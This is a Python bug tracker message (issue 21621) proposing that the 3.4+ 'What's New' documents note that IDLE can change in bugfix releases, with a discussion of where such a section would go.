+For details of any IDLE changes, refer to the NEWS file for the specific
+release.

I think the same should be added to What's New 3.4+ so Idle users are warned and informed that there might be otherwise unexpected changes. At minimum, the last phrase should be changed to "refer to the successive Idle sections of the changelog", where changelog' is linked as it is at the top of the file.

I am not sure where to put this. The 3.4 What's New has no Idle section. I did not think to write one :-(. Of course, there was almost nothing new since the previous 3.3.x bugfix release. I guess such a section should be a cumulative summary what was added since the previous x.y.0 release, even if all went into one of the bugfix releases, including the pending final maintenance release.

----------
assignee: terry.reedy
components: Documentation
messages: 219472
nosy: ncoghlan, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Add note to 3.x What's New re Idle changes in bugfix releases
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21621>
_______________________________________